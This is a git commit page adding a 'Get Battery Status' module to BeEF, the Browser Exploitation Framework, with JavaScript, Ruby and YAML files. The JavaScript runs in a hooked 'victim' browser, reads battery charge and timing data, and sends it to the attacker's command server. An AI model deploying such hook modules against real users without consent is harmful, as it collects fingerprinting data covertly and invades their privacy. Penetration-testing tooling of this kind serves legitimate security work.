Merge pull request #987 from ecneladis/master
Adding module for getting battery status
This commit is contained in:
19
modules/host/get_battery_status/command.js
Normal file
19
modules/host/get_battery_status/command.js
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
beef.execute(function() {
|
||||
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
|
||||
|
||||
if (!battery) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Unable to get battery status");
|
||||
}
|
||||
|
||||
var chargingStatus = battery.charging;
|
||||
var batteryLevel = battery.level * 100 + "%";
|
||||
var chargingTime = battery.chargingTime;
|
||||
var dischargingTime = battery.dischargingTime;
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "chargingStatus=" + chargingStatus + "&batteryLevel=" + batteryLevel + "&chargingTime=" + chargingTime + "&dischargingTime=" + dischargingTime);
|
||||
});
|
||||
16
modules/host/get_battery_status/config.yaml
Normal file
16
modules/host/get_battery_status/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
get_battery_status:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Get Battery Status"
|
||||
description: "Get informations of the victim current battery status"
|
||||
authors: ["ecneladis"]
|
||||
target:
|
||||
working: ["FF"]
|
||||
not_working: ["All"]
|
||||
17
modules/host/get_battery_status/module.rb
Normal file
17
modules/host/get_battery_status/module.rb
Normal file
@@ -0,0 +1,17 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Get_battery_status < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['chargingStatus'] = @datastore['chargingStatus']
|
||||
content['batteryLevel'] = @datastore['batteryLevel']
|
||||
content['chargingTime'] = @datastore['chargingTime']
|
||||
content['dischargingTime'] = @datastore['dischargingTime']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user